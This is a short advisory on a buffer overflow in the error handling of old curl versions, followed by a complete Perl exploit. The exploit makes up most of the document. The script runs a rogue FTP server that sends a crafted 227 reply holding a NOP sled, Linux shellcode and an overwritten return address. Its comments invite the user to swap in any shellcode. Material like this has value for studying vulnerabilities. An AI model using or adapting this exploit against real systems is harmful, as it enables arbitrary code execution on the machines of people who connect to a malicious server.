source: http://www.securityfocus.com/bid/1804/info
 
Curl is an open-source utility for sending or receiving files using URL syntax. A vulnerability exists in the version of curl included with Debian GNU/Linux 2.2 and FreeBSD (prior to 4.2 release).
 
Note that cURL runs on other platforms as well, and earlier versions may be also vulnerable.
 
Curl's error-logging feature improperly tests the size of generated error messages, which are sent from a remote host. A malicious remote server could send a maliciously-formed response to a request from curl, designed to exceed the maximum length of the error buffer. The contents of this oversized buffer, when copied onto the stack, can potentially overwrite the calling functions' return address. This can alter the program's flow of execution and result in arbitrary code being run on the client host.

#!/usr/bin/perl
#
# Remote linux cURL exploit for versions 6.1 - 7.4
#
# Written by zillion (at http://safemode.org && http://www.snosoft.com)
# 
# This exploit, which has been tested to work with cURL 6.4, 7.2 and 7.3,  
# may only be used for testing purposes. Additionally, the author does not 
# take any resposibilities for abuse of this file. More information about  
# the used vulnerability can be found on securityfocus:
#
# http://online.securityfocus.com/bid/1804
#
# The shellcode will write "Owned by a cURL ;)" to the file /tmp/0wned.txt
# You can replace it with whatever you want but be warned: due to buffer 
# manipilation working shellcode might be altered.
#
# A FreeBSD version is also available on safemode.org

use IO::Socket;
use Net::hostent;

$shellcode = # does a open() write() close() and exit(). 
        "\xeb\x40\x5e\x31\xc0\x88\x46\x0e\xc6\x46\x21\x09\xfe\x46\x21".
        "\x88\x46\x22\x8d\x5e\x0f\x89\x5e\x23\xb0\x05\x8d\x1e\x66\xb9".
        "\x42\x04\x66\xba\xe4\x01\xcd\x80\x89\xc3\xb0\x04\x8b\x4e\x23".
        "\x66\xba\x0f\x27\x66\x81\xea\xfc\x26\xcd\x80\xb0\x06\xcd\x80".
        "\xb0\x01\x31\xdb\xcd\x80\xe8\xbb\xff\xff\xff\x2f\x74\x6d\x70".
        "\x2f\x30\x77\x6e\x65\x64\x2e\x74\x78\x74\x23\x30\x77\x6e\x65".
        "\x64\x20\x62\x79\x20\x61\x20\x63\x55\x52\x4c\x20\x3b\x29";

while($_ = $ARGV[0], /^-/) {
    shift;       
    last if /^--$/;
    /^-p/ && do { $port = shift; };
    /^-l/ && do { $list = 1; };
    /^-o/ && do { $offset = shift; };
}


$id     = `id -u`; chop($id);
$size   =  249;
$esp    =  0xbffff810;
$offset =  -150 unless $offset;
$port   =  21 unless $port;

if(!$list || $port > 1024 && $id != 0) {

print <<"TWENTE";

   Usage :  $0 -l 
   Option:  $0 -p <port to listen on>
   Option:  $0 -o <offset>

   Note: low ports require root privileges

TWENTE
exit;

}

for ($i = 0; $i < ($size - length($shellcode)) - 4; $i++) {
    $buffer .= "\x90";
}

$buffer .= "$shellcode";
$buffer .= pack('l', ($esp + $offset)); 

print("Listening on port $port. We are using return address: 0x", sprintf('%lx',($esp - $offset)), "\n");

my $sock = new IO::Socket::INET (
                                 LocalPort => $port,
                                 Proto => 'tcp',
                                 Listen => 1,
                                 Reuse => 1,
                                );
die "Could not create socket: $!\n" unless $sock;

while($cl = $sock->accept()) {

   $hostinfo = gethostbyaddr($cl->peeraddr);
   printf "[Received connect from %s]\n", $hostinfo->name || $cl->peerhost;
   print $cl "220 Safemode.org FTP server (Version 666) ready.\n";
   print $cl "230 Ok\n";
   print $cl "227 $buffer\n";
   sleep 2;

}